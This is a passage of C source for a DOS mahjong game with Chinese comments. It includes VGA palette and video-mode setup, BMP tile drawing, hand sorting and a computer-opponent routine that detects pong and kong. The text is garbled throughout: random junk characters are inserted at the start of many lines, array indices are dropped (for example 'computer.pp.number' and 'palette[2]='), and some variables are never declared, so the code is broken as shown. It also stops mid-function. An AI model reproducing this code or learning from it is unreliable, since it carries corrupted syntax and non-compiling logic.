. c, m4 g0 Q0 V6 f# T) G"22.bmp",0,0,2,"22.bmp",0,0,3,"22.bmp",0,0,4,"23.bmp",0,0,1,"23.bmp",0,0,2,
" H9 [0 u; {6 g( q"23.bmp",0,0,3,"23.bmp",0,0,4,"24.bmp",0,0,1,"24.bmp",0,0,2,"24.bmp",0,0,3,
/ H8 @# R( d9 @$ [; k; A4 E"24.bmp",0,0,4,"25.bmp",0,0,1,"25.bmp",0,0,2,"25.bmp",0,0,3,"25.bmp",0,0,4,
0 Z* o4 h8 A4 [! @7 M"26.bmp",0,0,1,"26.bmp",0,0,2,"26.bmp",0,0,3,"26.bmp",0,0,4,"27.bmp",0,0,1,
! r% T  m% _6 T/ e2 w: v; V9 _* v" k"27.bmp",0,0,2,"27.bmp",0,0,3,"27.bmp",0,0,4,"28.bmp",0,0,1,"28.bmp",0,0,2,
"28.bmp",0,0,3,"28.bmp",0,0,4,"29.bmp",0,0,1,"29.bmp",0,0,2,"29.bmp",0,0,3,
) ~8 @8 i0 x- |% D( y0 N"29.bmp",0,0,4,"30.bmp",0,0,1,"30.bmp",0,0,2,"30.bmp",0,0,3,"30.bmp",0,0,4,
5 U3 O+ h. [6 m4 {+ V3 v" D"31.bmp",0,0,1,"31.bmp",0,0,2,"31.bmp",0,0,3,"31.bmp",0,0,4,"32.bmp",0,0,1,
"32.bmp",0,0,2,"32.bmp",0,0,3,"32.bmp",0,0,4,"33.bmp",0,0,1,"33.bmp",0,0,2,
"33.bmp",0,0,3,"33.bmp",0,0,4,"34.bmp",0,0,1,"34.bmp",0,0,2,"34.bmp",0,0,3,
8 {- V7 \( U# N"34.bmp"};
struct every
{ int *k; /*名字*/
int oneorfour; /*同一张牌的第几张*/
int number; /*第几张牌136*/
% E+ L) `+ K( y3 e2 fint p;
int g;
% |2 X$ g* w8 e" [0 h6 @int c;
. n4 G  |" m; Q& @& ?4 M; iint d[2];
};
struct me
{ int m; /*定义有几张牌，开始有13张随着游戏的进行，会越来越小*/
9 N( ?4 j* n4 ~/ Bint p; /*乓对方*/
$ H7 e* v4 G1 yint c; /*吃对方*/
int g; /*杠*/

struct every pp[14]; /*存放手上的牌*/
}me;
struct computer
" P' ~7 {$ Y3 j1 d8 |7 k0 G{ int m;
9 d& G6 g6 u: t# M- Gint p;
int c;
int g;
struct every pp[14];
}computer,comp;
9 t( k0 w1 v6 n# l7 c  j3 u4 Y
, w" A3 O/ s4 I2 a2 q4 |/* 设置调色板 */
  }- B3 b" q) }& `0 z+ a" @; Rvoid Set_Palette(int Color,BYTE r,BYTE g,BYTE b)
{
outportb(0x3c8,Color); /*0x3c8写端口 写色号*/
: d4 x3 c3 h9 e( k/ Joutportb(0x3c9,r); /*0x3c9数据端口 R、G、B的比例*/
outportb(0x3c9,g);
3 t+ J, |6 B( z: I. X" U- t" routportb(0x3c9,b);
& o! {; I  s% K% Z}
/*0x3c7读端口 0x3c6计算机调色板寄存器调用端口*/
/* 设置显示模式的函数 */
void Set_Video_Mode(int mode)
{
" P$ D/ w. b5 ^& Y4 c" hunion REGS inregs,outregs; /*定义输入和返回寄存器*/
( I) h6 S/ ^1 |( m. Z- hinregs.h.ah=0; /*ah存放功能号0h表示进入视频模式*/
inregs.h.al=(unsigned char)mode; /*al存放要设定的视频模式*/
int86(0x10,&amp;inregs,&amp;outregs); /*通过10h中断设定显示模式int86()包含在dos.h*/
+ U( ^. j. f! B}
( W3 y5 V& Z3 y. b4 ?* Wvoid v_line(int y0,int y1,int x,unsigned int color)
{ unsigned int address,n,temp;
; S. I4 h0 F/ u" G% A3 mif(y0&gt;y1)
{
temp=y1;
y1=y0;
3 g( m$ y5 {1 L; f$ h0 ]y0=temp;
1 r, p) e0 S% ?" b% W' F# I' `}
address=320*y0+x;
2 o; a) R  O6 M9 U- ifor(n=0;n&lt;=y1-y0;n++)
{
% `" `: E9 Q/ N0 W2 ~# Cvideo_buffer[address]=color;
0 [/ a9 g% n6 U( haddress+=320;
}
}
) \1 U" I/ o$ Xvoid h_line(int x0,int x1,int y,unsigned int color)
" ]/ x- u- r( H: a! H' o6 \{ unsigned int address,n,temp;
if(x0&gt;x1)
8 a$ k$ h. n( i3 {{
& r  ?, h4 i7 X4 R7 ?' s0 ctemp=x1;
x1=x0;
+ A- ]- }5 P$ Yx0=temp;
9 R% n2 p: o2 t, r# D}
address=320*y+x0;
for(n=0;n&lt;=x1-x0;n++)
" r' m, W% I4 ^# O{
' c2 D2 x, w5 }9 z0 g# y6 {video_buffer[address]=color;
address+=1;
}
7 y7 f1 j. R$ b! {% T: v}
void p_pixel(int x,int y,unsigned int color)
# a0 |  Q0 T3 m3 Q1 M9 D{ video_buffer[y*320+x]=color;
. n  O+ O4 w: ~6 z}
void s_square(int x,int y,int side,int color)
{
h_line(x,x+side,y,color);
h_line(x,x+side,y+side,color);
v_line(y,y+side,x,color);
v_line(y,y+side,x+side,color);
}
5 [( O( X$ K6 ]! I7 yvoid r_rectangle(int x1,int y1,int x2,int y2,int color)
{
h_line(x1,x2,y1,color);
h_line(x1,x2,y2,color);
6 s! P, m1 q/ S' v" h* Uv_line(y1,y2,x1,color);
v_line(y1,y2,x2,color);
}
" G0 n! F+ W4 z+ o. N7 [) K6 Wvoid fillRectangle(int x1,int y1,int x2,int y2,int color)
& s7 U1 ]6 m2 z: q% b4 V{
8 Y; R: ^- L2 ~/ w. g% \8 Uint i;
+ U; }( Z& h% F5 y2 L' Ffor(i=y1;i&lt;=y2;i++)
{
h_line(x1,x2,i,color);
}
. t' e* M9 F2 Q7 u2 K8 g# [+ e: h}
void showbmp(int l)
{ FILE *bmp;
int i,x,y;
$ T9 b' q2 \- S" G5 x1 mBYTE palette[256][3];
bmp=fopen(me.pp[l].k,"rb");
fseek(bmp,54,SEEK_SET);
) a+ m" G% U0 o: A( T: t0 A7 `for(i=0;i&lt;256;i++)
. A# t/ H$ Z2 w: a: u{
palette[2]=fgetc(bmp)&gt;&gt;2;
palette[1]=fgetc(bmp)&gt;&gt;2;
palette[0]=fgetc(bmp)&gt;&gt;2;
fgetc(bmp);
Set_Palette(i,palette[0],palette[1],palette[2]);
}
for (y=0;y&lt;30;y++)
, ?& Z/ M+ K$ }- m  kfor(x=0;x&lt;20;x++)
$ Q* x3 w# @( `) `; }( x' w4 z8 @pokeb(0xa000,y*320+x+z+zz+z1,fgetc(bmp));
fclose(bmp);
}
# u+ O2 I: t2 \2 o% \void showbmpd(int l)
{ FILE *bmp;
! G6 s' z. y) C5 ]int i,x,y;
% ]8 Z3 F  B$ [BYTE palette[256][3];
bmp=fopen(me.pp[l].k,"rb");
" Z5 u3 t% c' e: d& ~8 ufseek(bmp,54,SEEK_SET);
1 x9 v' [# a" l5 h! p3 W' Nfor(i=0;i&lt;256;i++)
6 b. [9 S+ Z; r{
palette[2]=fgetc(bmp)&gt;&gt;2;
palette[1]=fgetc(bmp)&gt;&gt;2;
palette[0]=fgetc(bmp)&gt;&gt;2;
fgetc(bmp);
Set_Palette(i,palette[0],palette[1],palette[2]);
' M* W& p+ c9 X7 T/ C}
* `1 V  O! |$ ]& B% P6 P$ cfor (y=0;y&lt;30;y++)
for(x=0;x&lt;20;x++)
+ ~1 w) w; `! w- m( K/ T! Dpokeb(0xa000,y*320+x+zyy,fgetc(bmp));
fclose(bmp);
}
void showybmp(int ll)
{ FILE *bmp;
1 L. S' h( T1 K5 T4 s3 X$ Yint i,x,y;
BYTE palette[256][3];
7 {. s2 j' n9 g% T- ^6 @bmp=fopen(computer.pp[ll].k,"rb");
fseek(bmp,54,SEEK_SET);
" L: F1 K, {- b$ jfor(i=0;i&lt;256;i++)
3 ]1 D3 ]; i. Z$ f: C# t{
4 Q& [4 X* N5 x6 ^2 U  r! F! Jpalette[2]=fgetc(bmp)&gt;&gt;2;
palette[1]=fgetc(bmp)&gt;&gt;2;
, b, O8 `" I* Tpalette[0]=fgetc(bmp)&gt;&gt;2;
fgetc(bmp);
Set_Palette(i,palette[0],palette[1],palette[2]);
}
" K  u9 }% @/ R5 D8 m) ?/ Yfor (y=0;y&lt;30;y++)
! |$ n/ b% Q4 ], ^for(x=0;x&lt;20;x++)
0 \" @/ S- I' h1 x# T& i3 m% T! Apokeb(0xa000,y*320+x+zy,fgetc(bmp));
fclose(bmp);
}
void showcbmp(int ll)
{ FILE *bmp;
5 Q2 C) N1 A9 C0 `# u- O! Rint i,x,y;
BYTE palette[256][3];
" J' U1 O4 y( o+ Nbmp=fopen(computer.pp[ll].k,"rb");
7 i3 \% i* K; W* {3 \3 b0 nfseek(bmp,54,SEEK_SET);
for(i=0;i&lt;256;i++)
{
- E0 U7 n" _( c- A/ `palette[2]=fgetc(bmp)&gt;&gt;2;
7 K9 I% X% m1 {6 Ipalette[1]=fgetc(bmp)&gt;&gt;2;
# {* t. z4 L- F1 ^3 T% ~$ Ypalette[0]=fgetc(bmp)&gt;&gt;2;
  |$ ]& N5 x) e9 xfgetc(bmp);
Set_Palette(i,palette[0],palette[1],palette[2]);
}
- k1 B. x: y2 R: c- Cfor (y=0;y&lt;30;y++)
for(x=0;x&lt;20;x++)
pokeb(0xa000,y*320+x+zyy,fgetc(bmp));
fclose(bmp);
; k1 I  F5 h/ F4 c( j) {3 }6 |- R& y}
2 d+ N: S, v, i' yvoid bmpp(int number)
6 n- z# z3 Z  p7 |2 J9 J" {{ FILE *bmp;
) G, ]1 n2 R  D3 p8 z3 oint i,x,y;
BYTE palette[256][3];
6 |+ x% d5 I0 z6 g# @8 ^bmp=fopen(m[number].name,"rb");
fseek(bmp,54,SEEK_SET);
+ ^" ?& s% o+ dfor(i=0;i&lt;256;i++)
{
4 D1 y0 _& a6 npalette[2]=fgetc(bmp)&gt;&gt;2;
( i; j0 \2 I' W* f2 Qpalette[1]=fgetc(bmp)&gt;&gt;2;
6 ]; t6 G% f3 E1 T. R) C7 Jpalette[0]=fgetc(bmp)&gt;&gt;2;
fgetc(bmp);
Set_Palette(i,palette[0],palette[1],palette[2]);
}
for (y=0;y&lt;30;y++)
' H! u% q+ I$ l! m" Afor(x=0;x&lt;20;x++)
. r/ v: P1 O$ t4 h4 ~; y) t! @$ Opokeb(0xa000,y*320+x+zl,fgetc(bmp));
fclose(bmp);
}
- o' T5 W" A9 q! N3 d( K( q- Bvoid comlipai() /*整理电脑的牌*/
, Q: m# Q9 a) f5 l( A{ int n,j,u;
; s; a5 M# {  t" {! m! [3 }) R- g9 bint *lingshi;
for(n=0;n&lt;computer.m;n++)
for(j=n;j&lt;computer.m;j++)
{
! S' @& s2 c& Dif(computer.pp[n].number&gt;computer.pp[j+1].number)
% \6 E( |3 A" n; ]6 f1 T{
  _! ?7 z) {0 _& @lingshi=computer.pp[n].k;
computer.pp[n].k=computer.pp[j+1].k;
computer.pp[j+1].k=lingshi;
u=computer.pp[n].oneorfour;
computer.pp[n].oneorfour=computer.pp[j+1].oneorfour;
$ I2 s# C8 h. [' U, g/ A' E0 l- Hcomputer.pp[j+1].oneorfour=u;
u=computer.pp[n].number;
- c8 P8 f5 z: O' p& J3 ^3 wcomputer.pp[n].number=computer.pp[j+1].number;
4 z; k9 {9 v8 [& h. |computer.pp[j+1].number=u;
}
6 r: @: L/ m- w( K9 X! |else
+ q0 c7 q( x# oif(computer.pp[n].number==computer.pp[j+1].number)
0 L; v$ g  x; }4 A: F& Z; Gif(computer.pp[n].oneorfour&gt;computer.pp[j+1].oneorfour)
{
lingshi=computer.pp[n].k;
computer.pp[n].k=computer.pp[j+1].k;
5 q& p  t6 a- t. ]computer.pp[j+1].k=lingshi;
u=computer.pp[n].oneorfour;
computer.pp[n].oneorfour=computer.pp[j+1].oneorfour;
1 l+ A. ~; I7 r. h- xcomputer.pp[j+1].oneorfour=u;
u=computer.pp[n].number;
2 K1 A  q4 k7 q' B) Hcomputer.pp[n].number=computer.pp[j+1].number;
4 z3 |' |2 x4 vcomputer.pp[j+1].number=u;
}
}
}
: N. V8 u8 d& b  L4 S  y% [8 tvoid melipai()
. E$ _8 X8 R: c4 w4 g+ F3 [{ int n,j,u;
/ z- a2 n: w) Q3 i2 [, Wint *lingshi;
for(n=0;n&lt;me.m;n++)
7 ?7 s8 ^2 f7 E# K$ V. Kfor(j=n;j&lt;me.m;j++)
6 n- G' _5 f8 E* S" h, q( n. k{
if(me.pp[n].number&gt;me.pp[j+1].number)
+ q0 {, E0 `/ n% m5 r7 F6 L5 L$ l{
lingshi=me.pp[n].k;
! @. u* A4 L; X% |me.pp[n].k=me.pp[j+1].k;
me.pp[j+1].k=lingshi;
u=me.pp[n].oneorfour;
me.pp[n].oneorfour=me.pp[j+1].oneorfour;
me.pp[j+1].oneorfour=u;
u=me.pp[n].number;
: e+ E- n9 J  M9 ime.pp[n].number=me.pp[j+1].number;
me.pp[j+1].number=u;
}
, U" T5 W  }, o  ^' f$ g2 |+ A  H* welse
if(me.pp[n].number==me.pp[j+1].number)
. i/ [; K( q5 }; Wif(me.pp[n].oneorfour&gt;me.pp[j+1].oneorfour)
{
lingshi=me.pp[n].k;
: \4 m9 G. `& J( S. a1 ?) K; f& mme.pp[n].k=me.pp[j+1].k;
me.pp[j+1].k=lingshi;
& p8 C/ r: M: U4 a4 ru=me.pp[n].oneorfour;
4 K6 I, ?1 ?% i1 x* c9 pme.pp[n].oneorfour=me.pp[j+1].oneorfour;
  v4 K+ x2 z; x" `% ?me.pp[j+1].oneorfour=u;
5 P% `* {& Q4 y, ^u=me.pp[n].number;
. h. Z. }& C1 b+ g. Nme.pp[n].number=me.pp[j+1].number;
: Z1 ?2 C. D" b- j6 |me.pp[j+1].number=u;
; g. W2 H6 E4 i3 u6 @/ e, r}
' Y; a+ t# {* {; L- b1 g5 V- \) S9 ~}
2 C1 T9 O, P2 _  k$ i7 r6 o9 g% \}
void rgzn(int c) /*本程序涵数的核心针对电脑的牌*/
{ int b=0,lg,lgg,logo,logoo,pg=0,gp=0,cs=0,f=0;
if(me.pp[c].number&lt;=35 &amp;&amp; me.pp[c].number&gt;=0)
. G4 r% K3 p$ T# o' ]{
. a0 q* J6 Z8 m3 y* m7 `6 K: i# }logo=1;
if(me.pp[c].number&lt;=3 &amp;&amp; me.pp[c].number&gt;=0)
6 C6 b6 J, Q7 V4 q9 `logoo=1;
3 g( b) U! Z7 Z  Xelse if(me.pp[c].number&lt;=7 &amp;&amp; me.pp[c].number&gt;=4)
; H5 Y. U5 M! ~* S8 e# C+ Alogoo=2;
. i" |& G: S8 Q9 @' v) melse if(me.pp[c].number&lt;=11 &amp;&amp; me.pp[c].number&gt;=8)
4 G6 v7 L4 e; h. L( p" l  Qlogoo=3;
else if(me.pp[c].number&lt;=15 &amp;&amp; me.pp[c].number&gt;=12)
- F: c. k' x& ?! B1 Rlogoo=4;
else if(me.pp[c].number&lt;=19 &amp;&amp; me.pp[c].number&gt;=16)
5 M: Z3 e) Z4 F* Jlogoo=5;
else if(me.pp[c].number&lt;=23 &amp;&amp; me.pp[c].number&gt;=20)
logoo=6;
else if(me.pp[c].number&lt;=27 &amp;&amp; me.pp[c].number&gt;=24)
' j+ z2 m: ]  mlogoo=7;
else if(me.pp[c].number&lt;=31 &amp;&amp; me.pp[c].number&gt;=28)
; {' X% p9 j$ v$ Rlogoo=8;
else if(me.pp[c].number&lt;=35 &amp;&amp; me.pp[c].number&gt;=32)
logoo=9;
. I, u. B1 x: F) \) y" {}
& l6 Z" ~- x4 ]: x6 t9 R, Yelse if(me.pp[c].number&lt;=71 &amp;&amp; me.pp[c].number&gt;=36)
" o, @; S- w1 Q. N, p{
4 P- I3 ~( L6 j5 @( V% }logo=2;
if(me.pp[c].number&lt;=39 &amp;&amp; me.pp[c].number&gt;=36)
& z" A! k5 Z7 r; M! flogoo=1;
( Q! q1 |' G7 Selse if(me.pp[c].number&lt;=43 &amp;&amp; me.pp[c].number&gt;=40)
8 j2 A8 ?+ Z- B7 `logoo=2;
7 ^. v/ G' s) [- j! Yelse if(me.pp[c].number&lt;=47 &amp;&amp; me.pp[c].number&gt;=44)
logoo=3;
else if(me.pp[c].number&lt;=51 &amp;&amp; me.pp[c].number&gt;=48)
logoo=4;
else if(me.pp[c].number&lt;=55 &amp;&amp; me.pp[c].number&gt;=52)
' f5 ^8 ]- f& P( g( |1 _logoo=5;
/ z# k$ q- W1 Gelse if(me.pp[c].number&lt;=59 &amp;&amp; me.pp[c].number&gt;=56)
/ t- j- N# ~: i/ Y& A2 V. Hlogoo=6;
else if(me.pp[c].number&lt;=63 &amp;&amp; me.pp[c].number&gt;=60)
' v% {% c/ h9 `- w4 i6 f/ nlogoo=7;
) u# }4 Z$ T% s& C2 ]  F% c) zelse if(me.pp[c].number&lt;=67 &amp;&amp; me.pp[c].number&gt;=64)
: M5 Q6 V+ `, R. flogoo=8;
4 ~1 |6 Y! S3 Velse if(me.pp[c].number&lt;=71 &amp;&amp; me.pp[c].number&gt;=68)
/ h8 P/ D3 z0 E! a7 Dlogoo=9;
}
5 _3 }* U% W7 Kelse if(me.pp[c].number&lt;=107 &amp;&amp; me.pp[c].number&gt;=72)
7 ^; \; o; ~3 |1 C; L3 O{
$ G/ i* C- ~- X3 alogo=3;
  Z4 s% }7 F: sif(me.pp[c].number&lt;=75 &amp;&amp; me.pp[c].number&gt;=72)
6 f  A1 e4 p7 E4 {6 @- e" G' Nlogoo=1;
# J5 B1 d, \& n8 ~8 H, n0 ^else if(me.pp[c].number&lt;=79 &amp;&amp; me.pp[c].number&gt;=76)
( Q% B, J5 r# s8 C" e2 L5 g9 O1 Xlogoo=2;
; ~: w* }" d6 M, Z9 r' Selse if(me.pp[c].number&lt;=83 &amp;&amp; me.pp[c].number&gt;=80)
logoo=3;
else if(me.pp[c].number&lt;=87 &amp;&amp; me.pp[c].number&gt;=84)
0 \, v, _4 ^$ P0 Tlogoo=4;
* L# v: J: d' ?6 ?else if(me.pp[c].number&lt;=91 &amp;&amp; me.pp[c].number&gt;=88)
, x  S/ c+ U* v& y" c9 t3 klogoo=5;
else if(me.pp[c].number&lt;=95 &amp;&amp; me.pp[c].number&gt;=92)
+ v6 K# q( P  g# clogoo=6;
else if(me.pp[c].number&lt;=99 &amp;&amp; me.pp[c].number&gt;=96)
, T" \" J# B0 I9 h6 Mlogoo=7;
else if(me.pp[c].number&lt;=103 &amp;&amp; me.pp[c].number&gt;=100)
# }% U& {1 {( C1 }6 z( Blogoo=8;
else if(me.pp[c].number&lt;=107 &amp;&amp; me.pp[c].number&gt;=104)
3 P6 E7 c7 f; y4 i7 [( Ylogoo=9;
}
8 P% h# {3 l* H) A+ kelse if(me.pp[c].number&lt;=135 &amp;&amp; me.pp[c].number&gt;=108)
7 H  q- C+ h( l  ?6 X7 J. b3 V{
  m2 j, B' D+ o* l$ }; Vlogo=4;
2 ?  z  G* p6 }1 W; q3 wif(me.pp[c].number&lt;=111 &amp;&amp; me.pp[c].number&gt;=108)
: V! K6 N' B  _- M9 G. c7 `logoo=1;
else if(me.pp[c].number&lt;=115 &amp;&amp; me.pp[c].number&gt;=112)
logoo=2;
. [' f& r, w; P  I' o6 Xelse if(me.pp[c].number&lt;=119 &amp;&amp; me.pp[c].number&gt;=116)
logoo=3;
( S4 u' }  {6 w  celse if(me.pp[c].number&lt;=123 &amp;&amp; me.pp[c].number&gt;=120)
& X9 P$ d8 g) w: l& slogoo=4;
5 I! Y, ^( I. N) U3 _5 [) Helse if(me.pp[c].number&lt;=127 &amp;&amp; me.pp[c].number&gt;=124)
; S" c: p' e! C. a7 U  \logoo=5;
else if(me.pp[c].number&lt;=131 &amp;&amp; me.pp[c].number&gt;=128)
logoo=6;
else if(me.pp[c].number&lt;=135 &amp;&amp; me.pp[c].number&gt;=132)
logoo=7;
4 ]2 z# G1 Y: P  q) [}
& ^( J3 \/ d+ O! Jwhile(b&lt;=computer.m)
% w: B% p5 D: J0 Z2 N{
: v7 I# i, k" c/ N- R" W2 aif(computer.pp.number&lt;=35 &amp;&amp; computer.pp.number&gt;=0) /*假定电脑经过分析后出了第一张牌*/
/ j0 t+ O- Q3 _{
8 _7 \" k5 y: B0 A* @( G( ^! flg=1;
computer.pp.d[0]=1;
- p: P/ U1 S# I) Uif(computer.pp.number&lt;=3 &amp;&amp; computer.pp.number&gt;=0)
- L+ t+ H( w4 i2 J) U- R6 F4 b{
; v  G( j! C, Y; o: t2 `! @' u* wlgg=1;
! ]% [3 _4 q9 ^0 ]2 x0 N& m) Acomputer.pp.d[1]=1;
}
& F' [# z- g: n2 xelse if(computer.pp.number&lt;=7 &amp;&amp; computer.pp.number&gt;=4)
{
5 Y8 C/ |5 [- U5 q( y/ ylgg=2;
computer.pp.d[1]=2;
}
5 o2 f6 N% X1 Pelse if(computer.pp.number&lt;=11 &amp;&amp; computer.pp.number&gt;=8)
{
, D4 S3 Y, G; L: y( blgg=3;
computer.pp.d[1]=3;
; G! K( n% T8 i}
: [' u7 s5 l' p6 a2 N, [* B' q0 Oelse if(computer.pp.number&lt;=15 &amp;&amp; computer.pp.number&gt;=12)
{
lgg=4;
computer.pp.d[1]=4;
}
else if(computer.pp.number&lt;=19 &amp;&amp; computer.pp.number&gt;=16)
{
/ E2 _# Z4 T2 H: hlgg=5;
, {0 y  j1 }+ Q/ l" tcomputer.pp.d[1]=5;
1 F- x1 B/ C8 f}
8 {  h/ I2 v2 S, \1 gelse if(computer.pp.number&lt;=23 &amp;&amp; computer.pp.number&gt;=20)
{
- e0 A" \8 O2 \# j9 e" @9 Slgg=6;
computer.pp.d[1]=6;
1 [! }2 C( P; n% ^  P' Y}
else if(computer.pp.number&lt;=27 &amp;&amp; computer.pp.number&gt;=24)
{
" X" R" U" I0 N0 q8 @lgg=7;
computer.pp.d[1]=7;
}
else if(computer.pp.number&lt;=31 &amp;&amp; computer.pp.number&gt;=28)
{
& r) Y: w8 ^: E. _, l; Y) _: Jlgg=8;
5 @: f  x0 I) Scomputer.pp.d[1]=8;
}
% x) J" h: E; Z5 v( [! d5 M9 Uelse if(computer.pp.number&lt;=35 &amp;&amp; computer.pp.number&gt;=32)
{
lgg=9;
computer.pp.d[1]=9;
}
}
else if(computer.pp.number&lt;=71 &amp;&amp; computer.pp.number&gt;=36)
{
# T4 F  l1 x; L. i$ _; Qlg=2;
computer.pp.d[0]=2;
3 n7 d7 J9 t( P; O- F% nif(computer.pp.number&lt;=39 &amp;&amp; computer.pp.number&gt;=36)
) U2 e; Z+ Y5 p2 }9 j{
lgg=1;
computer.pp.d[1]=1;
5 Q, @: C6 k0 w$ x" ]}
0 V7 [7 D7 B, M9 u' G& W& xelse if(computer.pp.number&lt;=43 &amp;&amp; computer.pp.number&gt;=40)
* ?5 H  i9 k8 [( O( |{
lgg=2;
computer.pp.d[1]=2;
}
9 j- Q/ ~# t6 O% U+ ~# E  _5 {else if(computer.pp.number&lt;=47 &amp;&amp; computer.pp.number&gt;=44)
{
! I' A" D% R: ^lgg=3;
3 u) t/ [8 l( v0 I- [+ G) x3 @: U5 ycomputer.pp.d[1]=3;
, s1 s9 y/ j; \2 D" s}
, h( S' I) M4 belse if(computer.pp.number&lt;=51 &amp;&amp; computer.pp.number&gt;=48)
{
: A  a* K/ E. m# E0 U; wlgg=4;
computer.pp.d[1]=4;
5 y1 G) Z: v2 K( s5 r# G}
& T" M: Z$ h) telse if(computer.pp.number&lt;=55 &amp;&amp; computer.pp.number&gt;=52)
{
lgg=5;
; y& X4 N! w+ H4 ?computer.pp.d[1]=5;
}
) [1 t" L# C  r: k2 x! W2 s3 t& welse if(computer.pp.number&lt;=59 &amp;&amp; computer.pp.number&gt;=56)
( G% K7 J- D5 ^" F+ }0 M1 I. L& d{
! W1 u" q; e8 o' E7 z: qlgg=6;
computer.pp.d[1]=6;
1 X& E% V. R4 C) d, ]) K6 ^2 r}
$ u  a+ ~) k5 q3 w5 k* K: Qelse if(computer.pp.number&lt;=63 &amp;&amp; computer.pp.number&gt;=60)
{
9 |9 A4 J5 w. p8 C* jlgg=7;
computer.pp.d[1]=7;
}
else if(computer.pp.number&lt;=67 &amp;&amp; computer.pp.number&gt;=64)
! ~! R2 p+ w& T& p! Y. e" P{
lgg=8;
# G% p" U3 h) N# lcomputer.pp.d[1]=8;
5 }! o* M! Y1 m% i}
else if(computer.pp.number&lt;=71 &amp;&amp; computer.pp.number&gt;=68)
5 P+ Q! T+ N/ C7 P' x: a{
lgg=9;
computer.pp.d[1]=9;
1 R! [' H  _: E9 Q}
}
else if(computer.pp.number&lt;=107 &amp;&amp; computer.pp.number&gt;=72)
4 U- @+ ^9 ^5 g5 ]3 _/ k, j+ s{
lg=3;
computer.pp.d[0]=3;
if(computer.pp.number&lt;=75 &amp;&amp; computer.pp.number&gt;=72)
{
lgg=1;
8 i: [. q! F" \# r- [1 pcomputer.pp.d[1]=1;
}
else if(computer.pp.number&lt;=79 &amp;&amp; computer.pp.number&gt;=76)
{
8 w5 K: v4 z" Plgg=2;
computer.pp.d[1]=2;
& s& \. d7 r3 I9 f}
else if(computer.pp.number&lt;=83 &amp;&amp; computer.pp.number&gt;=80)
{
lgg=3;
; `6 p* S1 R0 A2 }1 c( Wcomputer.pp.d[1]=3;
; j2 u3 d" Y' v% B2 t  @' a}
  E7 L) |( `" q4 Celse if(computer.pp.number&lt;=87 &amp;&amp; computer.pp.number&gt;=84)
4 I; E9 X1 U( O( k' j) \9 l{
6 x6 g6 k1 ~* p0 ~! Q, Q  Rlgg=4;
computer.pp.d[1]=4;
/ {: l  S5 ]* z/ {4 [  t# y7 U% |}
, ?( {+ p+ I7 k: q6 Telse if(computer.pp.number&lt;=91 &amp;&amp; computer.pp.number&gt;=88)
{
lgg=5;
computer.pp.d[1]=5;
}
. u2 a& j6 E9 I, v. Telse if(computer.pp.number&lt;=95 &amp;&amp; computer.pp.number&gt;=92)
, ]  g1 m  u6 a" q" L{
% W! x2 V& `! a  H+ C) glgg=6;
; F, b( u, U  w6 n/ Qcomputer.pp.d[1]=6;
! i9 d, B6 _3 i" [0 [}
* z$ [7 |6 c4 ~else if(computer.pp.number&lt;=99 &amp;&amp; computer.pp.number&gt;=96)
{
' U2 z# }! y5 v1 U3 zlgg=7;
computer.pp.d[1]=7;
}
& V8 ~2 S+ j2 Z! _4 h9 @else if(computer.pp.number&lt;=103 &amp;&amp; computer.pp.number&gt;=100)
{
; v) l, Z4 k4 e) F6 algg=8;
computer.pp.d[1]=8;
/ s7 l8 D; s$ _# F9 `}
1 D- w- r; }; X: O' b$ m- Q% oelse if(computer.pp.number&lt;=107 &amp;&amp; computer.pp.number&gt;=104)
{
lgg=9;
$ N% {* ^8 C8 E0 _7 T  [. Y! H  ocomputer.pp.d[1]=9;
1 H% M: Q) k4 L. l}
7 q# [6 H( e% E3 s' \/ w$ p5 |}
else if(computer.pp.number&lt;=135 &amp;&amp; computer.pp.number&gt;=108)
9 p) S- Y6 \/ e4 q{
lg=4;
+ }8 Z0 n5 j- Bcomputer.pp.d[0]=4;
, v: M9 ~2 ~; y' M- ~: k) a  Yif(computer.pp.number&lt;=111 &amp;&amp; computer.pp.number&gt;=108)
4 G  a4 ?9 U6 R( q{
lgg=1;
/ ?/ \3 q. X7 ?& i, q- y& Fcomputer.pp.d[1]=1;
}
' I: B0 @* H' F2 K9 }6 A2 b8 r9 O* e- belse if(computer.pp.number&lt;=115 &amp;&amp; computer.pp.number&gt;=112)
{
lgg=2;
. V# R; n; @* [" |computer.pp.d[1]=2;
}
else if(computer.pp.number&lt;=119 &amp;&amp; computer.pp.number&gt;=116)
; ~* U6 D, {+ t3 ?- @{
' U& j) q9 {! S8 `" X1 ]/ T" T0 elgg=3;
5 L  I  C5 `3 N% s* Ncomputer.pp.d[1]=3;
+ X! r2 B& p0 }& b}
; u+ O4 I1 z' D7 P' r& {else if(computer.pp.number&lt;=123 &amp;&amp; computer.pp.number&gt;=120)
0 r7 l: E$ e1 U% t5 j; @& |{
+ z6 T: @& t4 c9 _# @, w5 N7 Nlgg=4;
computer.pp.d[1]=4;
3 g, B$ c8 H8 H( N}
# q+ P* A8 f5 Y* A) s. V( T2 B6 melse if(computer.pp.number&lt;=127 &amp;&amp; computer.pp.number&gt;=124)
{
lgg=5;
computer.pp.d[1]=5;
/ X6 e+ m9 c/ ^, p: g8 E}
! h( t1 J9 M% ?else if(computer.pp.number&lt;=131 &amp;&amp; computer.pp.number&gt;=128)
5 I' v( r! {# g% B  Z6 y{
. H) T7 [) f* u4 \7 |, ylgg=6;
. s; T9 |4 F& i8 t* scomputer.pp.d[1]=6;
}
else if(computer.pp.number&lt;=135 &amp;&amp; computer.pp.number&gt;=132)
$ S3 X3 o! O( J0 u9 f; \{
lgg=7;
computer.pp.d[1]=7;
* p9 t" b' M: T4 v}
/ N  c% I! h- @  U0 D3 [& S2 {+ p}
, r. ~1 Y7 s% p- X5 C, J
if(logo==lg) /*如果相等的话,那再进一步的判断,乓杠的判断*/
if(logoo==lgg)
pg++;
/ V# F- A" J! B; |) ^, `ch.lg=lg; /*保存电脑手里的每张牌的信息*/
ch.lgg=lgg;
: L  |3 N  V9 I& H; S, l$ t: }- olg=0;
2 @+ u6 Z) J. F7 Jlgg=0;
b++;
}
if(pg==2) /*乓*/
{

3 E2 Z. H6 k2 _: `  R( esing=1;
b=computer.m;
while(b!=-1)
8 e! X' ~+ s7 Y{
& t# b( _) W# Sif(strcmp(me.pp[c].k,computer.pp.k)==0)
computer.pp.p=1;
' N6 [) J- s7 O
  t) u; \" ]8 d0 J0 c, A: Pb--;
}
}
if(pg==3) /*杠*/
{

6 Z6 M7 B9 G) ?2 N: osing=2;
b=computer.m;
while(b!=-1)
' X3 f8 r1 d$ k' }6 U{
. N) `- g" g; Q. |! b" Xif(strcmp(me.pp[c].k,computer.pp.k)==0)
# k' X- S$ `& X. O! h5 u$ _computer.pp.g=1;
